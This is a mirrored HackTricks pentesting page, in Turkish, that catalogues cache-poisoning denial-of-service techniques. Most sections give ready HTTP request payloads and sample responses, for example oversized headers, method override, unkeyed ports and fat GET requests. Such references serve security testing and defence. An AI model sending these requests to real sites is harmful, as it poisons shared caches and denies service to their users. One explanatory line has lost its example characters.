mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
126 lines
4.3 KiB
Markdown
126 lines
4.3 KiB
Markdown
# Cache Poisoning to DoS
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
> [!CAUTION]
|
||
> Bu sayfada **cache sunucuları için geçerli olan** isteklere **hata ile yanıt veren web sunucusu** oluşturmak için farklı varyasyonlar bulabilirsiniz.
|
||
|
||
- **HTTP Header Oversize (HHO)**
|
||
|
||
Web sunucusu tarafından desteklenen boyuttan daha büyük ancak cache sunucusu tarafından desteklenen boyuttan daha küçük bir başlık boyutuyla bir istek gönderin. Web sunucusu, önbelleğe alınabilecek 400 yanıtı ile yanıt verecektir:
|
||
```
|
||
GET / HTTP/1.1
|
||
Host: redacted.com
|
||
X-Oversize-Hedear:Big-Value-000000000000000
|
||
```
|
||
- **HTTP Meta Karakteri (HMC) & Beklenmeyen Değerler**
|
||
|
||
Bazı **zararlı meta karakterler** içeren bir başlık gönderin, örneğin ve . Saldırının çalışması için önce önbelleği atlatmalısınız.
|
||
```
|
||
GET / HTTP/1.1
|
||
Host: redacted.com
|
||
X-Meta-Hedear:Bad Chars\n \r
|
||
```
|
||
Kötü yapılandırılmış bir başlık sadece `\:` olarak bir başlık olabilir.
|
||
|
||
Bu, beklenmeyen değerler gönderildiğinde de çalışabilir, örneğin beklenmeyen Content-Type: gibi.
|
||
```
|
||
GET /anas/repos HTTP/2
|
||
Host: redacted.com
|
||
Content-Type: HelloWorld
|
||
```
|
||
- **Anahtarsız başlık**
|
||
|
||
Bazı web siteleri, _X-Amz-Website-Location-Redirect: someThing_ başlığı gibi istekteki belirli başlıkları **gördüklerinde** bir hata durum kodu döndürecektir:
|
||
```
|
||
GET /app.js HTTP/2
|
||
Host: redacted.com
|
||
X-Amz-Website-Location-Redirect: someThing
|
||
|
||
HTTP/2 403 Forbidden
|
||
Cache: hit
|
||
|
||
Invalid Header
|
||
```
|
||
- **HTTP Yöntem Aşımı Saldırısı (HMO)**
|
||
|
||
Eğer sunucu `X-HTTP-Method-Override`, `X-HTTP-Method` veya `X-Method-Override` gibi başlıklarla HTTP yöntemini değiştirmeyi destekliyorsa, yöntemi değiştirerek geçerli bir sayfa talep etmek mümkündür, böylece sunucu bunu desteklemediği için kötü bir yanıt önbelleğe alınır:
|
||
```
|
||
GET /blogs HTTP/1.1
|
||
Host: redacted.com
|
||
HTTP-Method-Override: POST
|
||
```
|
||
- **Anahtarsız Port**
|
||
|
||
Eğer Host başlığındaki port, yanıtta yansıtılıyorsa ve önbellek anahtarında yer almıyorsa, kullanılmayan bir porta yönlendirmek mümkündür:
|
||
```
|
||
GET /index.html HTTP/1.1
|
||
Host: redacted.com:1
|
||
|
||
HTTP/1.1 301 Moved Permanently
|
||
Location: https://redacted.com:1/en/index.html
|
||
Cache: miss
|
||
```
|
||
- **Uzun Yönlendirme DoS**
|
||
|
||
Aşağıdaki örnekte olduğu gibi, x önbelleğe alınmıyor, bu nedenle bir saldırgan yönlendirme yanıt davranışını kötüye kullanarak yönlendirmenin o kadar büyük bir URL göndermesini sağlayabilir ki bu bir hata döndürsün. Ardından, önbelleğe alınmamış x anahtarı olmadan URL'ye erişmeye çalışan kişiler hata yanıtı alacaktır:
|
||
```
|
||
GET /login?x=veryLongUrl HTTP/1.1
|
||
Host: www.cloudflare.com
|
||
|
||
HTTP/1.1 301 Moved Permanently
|
||
Location: /login/?x=veryLongUrl
|
||
Cache: hit
|
||
|
||
GET /login/?x=veryLongUrl HTTP/1.1
|
||
Host: www.cloudflare.com
|
||
|
||
HTTP/1.1 414 Request-URI Too Large
|
||
CF-Cache-Status: miss
|
||
```
|
||
- **Host başlığı büyük/küçük harf normalizasyonu**
|
||
|
||
Host başlığı büyük/küçük harf duyarsız olmalıdır ancak bazı web siteleri bunun küçük harfle yazılmasını bekler ve eğer değilse bir hata döner:
|
||
```
|
||
GET /img.png HTTP/1.1
|
||
Host: Cdn.redacted.com
|
||
|
||
HTTP/1.1 404 Not Found
|
||
Cache:miss
|
||
|
||
Not Found
|
||
```
|
||
- **Yol normalizasyonu**
|
||
|
||
Bazı sayfalar, yolda URLencode edilmiş veri gönderildiğinde hata kodları döndürecektir, ancak önbellek sunucusu yolu URLdecode edecek ve URLdecoded yol için yanıtı saklayacaktır:
|
||
```
|
||
GET /api/v1%2e1/user HTTP/1.1
|
||
Host: redacted.com
|
||
|
||
|
||
HTTP/1.1 404 Not Found
|
||
Cach:miss
|
||
|
||
Not Found
|
||
```
|
||
- **Fat Get**
|
||
|
||
Bazı önbellek sunucuları, örneğin Cloudflare veya web sunucuları, gövdesi olan GET isteklerini durdurur, bu nedenle geçersiz bir yanıtı önbelleğe almak için kötüye kullanılabilir:
|
||
```
|
||
GET /index.html HTTP/2
|
||
Host: redacted.com
|
||
Content-Length: 3
|
||
|
||
xyz
|
||
|
||
|
||
HTTP/2 403 Forbidden
|
||
Cache: hit
|
||
```
|
||
## Referanslar
|
||
|
||
- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
|
||
- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|